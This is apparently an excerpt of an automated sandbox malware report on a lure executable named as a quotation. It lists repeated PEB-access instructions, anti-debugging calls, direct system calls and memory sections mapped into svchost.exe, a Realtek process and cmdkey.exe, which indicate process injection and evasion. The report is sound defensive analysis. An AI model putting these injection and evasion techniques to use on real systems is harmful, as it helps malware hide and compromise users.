Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938B10 mov eax, dword ptr fs:[00000030h]	1_2_03938B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938B10 mov eax, dword ptr fs:[00000030h]	1_2_03938B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940B10 mov eax, dword ptr fs:[00000030h]	1_2_03940B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940B10 mov eax, dword ptr fs:[00000030h]	1_2_03940B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940B10 mov eax, dword ptr fs:[00000030h]	1_2_03940B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940B10 mov eax, dword ptr fs:[00000030h]	1_2_03940B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EB1C mov eax, dword ptr fs:[00000030h]	1_2_0395EB1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392CB1E mov eax, dword ptr fs:[00000030h]	1_2_0392CB1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396CB20 mov eax, dword ptr fs:[00000030h]	1_2_0396CB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BCB20 mov eax, dword ptr fs:[00000030h]	1_2_039BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BCB20 mov eax, dword ptr fs:[00000030h]	1_2_039BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BCB20 mov eax, dword ptr fs:[00000030h]	1_2_039BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04B67 mov eax, dword ptr fs:[00000030h]	1_2_03A04B67
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AB70 mov eax, dword ptr fs:[00000030h]	1_2_0393AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936B70 mov eax, dword ptr fs:[00000030h]	1_2_03936B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936B70 mov eax, dword ptr fs:[00000030h]	1_2_03936B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936B70 mov eax, dword ptr fs:[00000030h]	1_2_03936B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E6B77 mov eax, dword ptr fs:[00000030h]	1_2_039E6B77
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964B79 mov eax, dword ptr fs:[00000030h]	1_2_03964B79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E6A80 mov eax, dword ptr fs:[00000030h]	1_2_039E6A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04AE8 mov eax, dword ptr fs:[00000030h]	1_2_03A04AE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940ACE mov eax, dword ptr fs:[00000030h]	1_2_03940ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940ACE mov eax, dword ptr fs:[00000030h]	1_2_03940ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D4AC2 mov eax, dword ptr fs:[00000030h]	1_2_039D4AC2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0AFF mov eax, dword ptr fs:[00000030h]	1_2_039B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0AFF mov eax, dword ptr fs:[00000030h]	1_2_039B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0AFF mov eax, dword ptr fs:[00000030h]	1_2_039B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D0AE0 mov eax, dword ptr fs:[00000030h]	1_2_039D0AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2AE0 mov eax, dword ptr fs:[00000030h]	1_2_039D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2AE0 mov eax, dword ptr fs:[00000030h]	1_2_039D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950AEB mov eax, dword ptr fs:[00000030h]	1_2_03950AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950AEB mov eax, dword ptr fs:[00000030h]	1_2_03950AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950AEB mov eax, dword ptr fs:[00000030h]	1_2_03950AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930AED mov eax, dword ptr fs:[00000030h]	1_2_03930AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930AED mov eax, dword ptr fs:[00000030h]	1_2_03930AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930AED mov eax, dword ptr fs:[00000030h]	1_2_03930AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396AA0E mov eax, dword ptr fs:[00000030h]	1_2_0396AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396AA0E mov eax, dword ptr fs:[00000030h]	1_2_0396AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4A57 mov eax, dword ptr fs:[00000030h]	1_2_039B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4A57 mov eax, dword ptr fs:[00000030h]	1_2_039B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EA40 mov eax, dword ptr fs:[00000030h]	1_2_0395EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EA40 mov eax, dword ptr fs:[00000030h]	1_2_0395EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039CAA40 mov eax, dword ptr fs:[00000030h]	1_2_039CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039CAA40 mov eax, dword ptr fs:[00000030h]	1_2_039CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C98F mov eax, dword ptr fs:[00000030h]	1_2_0396C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C98F mov eax, dword ptr fs:[00000030h]	1_2_0396C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C98F mov eax, dword ptr fs:[00000030h]	1_2_0396C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D0980 mov eax, dword ptr fs:[00000030h]	1_2_039D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D0980 mov eax, dword ptr fs:[00000030h]	1_2_039D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039689B0 mov edx, dword ptr fs:[00000030h]	1_2_039689B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C69B0 mov eax, dword ptr fs:[00000030h]	1_2_039C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C69B0 mov eax, dword ptr fs:[00000030h]	1_2_039C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C69B0 mov ecx, dword ptr fs:[00000030h]	1_2_039C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0393E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B89A0 mov eax, dword ptr fs:[00000030h]	1_2_039B89A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039389C0 mov eax, dword ptr fs:[00000030h]	1_2_039389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039389C0 mov eax, dword ptr fs:[00000030h]	1_2_039389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039309F0 mov eax, dword ptr fs:[00000030h]	1_2_039309F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039649F0 mov eax, dword ptr fs:[00000030h]	1_2_039649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039649F0 mov eax, dword ptr fs:[00000030h]	1_2_039649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A029CF mov eax, dword ptr fs:[00000030h]	1_2_03A029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A029CF mov eax, dword ptr fs:[00000030h]	1_2_03A029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03986912 mov eax, dword ptr fs:[00000030h]	1_2_03986912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0492D mov eax, dword ptr fs:[00000030h]	1_2_03A0492D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03962919 mov eax, dword ptr fs:[00000030h]	1_2_03962919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03962919 mov eax, dword ptr fs:[00000030h]	1_2_03962919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0398693A mov eax, dword ptr fs:[00000030h]	1_2_0398693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0398693A mov eax, dword ptr fs:[00000030h]	1_2_0398693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0398693A mov eax, dword ptr fs:[00000030h]	1_2_0398693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F892E mov eax, dword ptr fs:[00000030h]	1_2_039F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F892E mov eax, dword ptr fs:[00000030h]	1_2_039F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC920 mov ecx, dword ptr fs:[00000030h]	1_2_039AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC920 mov eax, dword ptr fs:[00000030h]	1_2_039AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC920 mov eax, dword ptr fs:[00000030h]	1_2_039AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC920 mov eax, dword ptr fs:[00000030h]	1_2_039AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03954955 mov eax, dword ptr fs:[00000030h]	1_2_03954955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03954955 mov eax, dword ptr fs:[00000030h]	1_2_03954955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C958 mov eax, dword ptr fs:[00000030h]	1_2_0396C958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C944 mov eax, dword ptr fs:[00000030h]	1_2_0396C944
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E94E mov eax, dword ptr fs:[00000030h]	1_2_0395E94E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936970 mov eax, dword ptr fs:[00000030h]	1_2_03936970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394096B mov eax, dword ptr fs:[00000030h]	1_2_0394096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394096B mov eax, dword ptr fs:[00000030h]	1_2_0394096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E8890 mov eax, dword ptr fs:[00000030h]	1_2_039E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E8890 mov eax, dword ptr fs:[00000030h]	1_2_039E8890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B488F mov eax, dword ptr fs:[00000030h]	1_2_039B488F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956882 mov eax, dword ptr fs:[00000030h]	1_2_03956882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956882 mov eax, dword ptr fs:[00000030h]	1_2_03956882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956882 mov eax, dword ptr fs:[00000030h]	1_2_03956882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397088E mov eax, dword ptr fs:[00000030h]	1_2_0397088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397088E mov edx, dword ptr fs:[00000030h]	1_2_0397088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397088E mov eax, dword ptr fs:[00000030h]	1_2_0397088E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039428C0 mov eax, dword ptr fs:[00000030h]	1_2_039428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039288C8 mov eax, dword ptr fs:[00000030h]	1_2_039288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039288C8 mov eax, dword ptr fs:[00000030h]	1_2_039288C8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039308CD mov eax, dword ptr fs:[00000030h]	1_2_039308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039308CD mov eax, dword ptr fs:[00000030h]	1_2_039308CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A8F0 mov eax, dword ptr fs:[00000030h]	1_2_0393A8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039648F0 mov eax, dword ptr fs:[00000030h]	1_2_039648F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C88FB mov eax, dword ptr fs:[00000030h]	1_2_039C88FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C819 mov eax, dword ptr fs:[00000030h]	1_2_0396C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C819 mov eax, dword ptr fs:[00000030h]	1_2_0396C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0835 mov eax, dword ptr fs:[00000030h]	1_2_039E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC870 mov eax, dword ptr fs:[00000030h]	1_2_039BC870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov ecx, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940F90 mov eax, dword ptr fs:[00000030h]	1_2_03940F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8F8B mov eax, dword ptr fs:[00000030h]	1_2_039B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8F8B mov eax, dword ptr fs:[00000030h]	1_2_039B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8F8B mov eax, dword ptr fs:[00000030h]	1_2_039B8F8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934FB6 mov eax, dword ptr fs:[00000030h]	1_2_03934FB6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395CFB0 mov eax, dword ptr fs:[00000030h]	1_2_0395CFB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395CFB0 mov eax, dword ptr fs:[00000030h]	1_2_0395CFB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968FBC mov eax, dword ptr fs:[00000030h]	1_2_03968FBC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EEFD3 mov eax, dword ptr fs:[00000030h]	1_2_039EEFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_039DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_039DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_039DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DAFD0 mov eax, dword ptr fs:[00000030h]	1_2_039DAFD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04FFF mov eax, dword ptr fs:[00000030h]	1_2_03A04FFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03958FFB mov eax, dword ptr fs:[00000030h]	1_2_03958FFB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov eax, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov eax, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov ecx, dword ptr fs:[00000030h]	1_2_03946FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03946FE0 mov eax, dword ptr fs:[00000030h]	1_2_03946FE0

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00690B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00690B62

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00662622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00662622
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0065083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0065083F
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006509D5 SetUnhandledExceptionFilter,	0_2_006509D5
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00650C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00650C21

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x7FFC7D729E7F
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x3474215	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x347EAA4	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x347D421	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x62FAAF8	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x3476442	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtQuerySystemInformation: Direct from: 0x347D4BD	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x3475662	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x347D614	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x3476386	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtCreateThreadEx: Direct from: 0x3474A5F	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtQueryInformationToken: Direct from: 0x3475DBF	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x62F2D9D	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x347D56C	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x3476471	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtResumeThread: Direct from: 0x62F2FCF	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x347D6B2
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x62F2F5E	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x34764B5	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x7FFCB3EA2651	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmdkey.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: read write	Jump to behavior
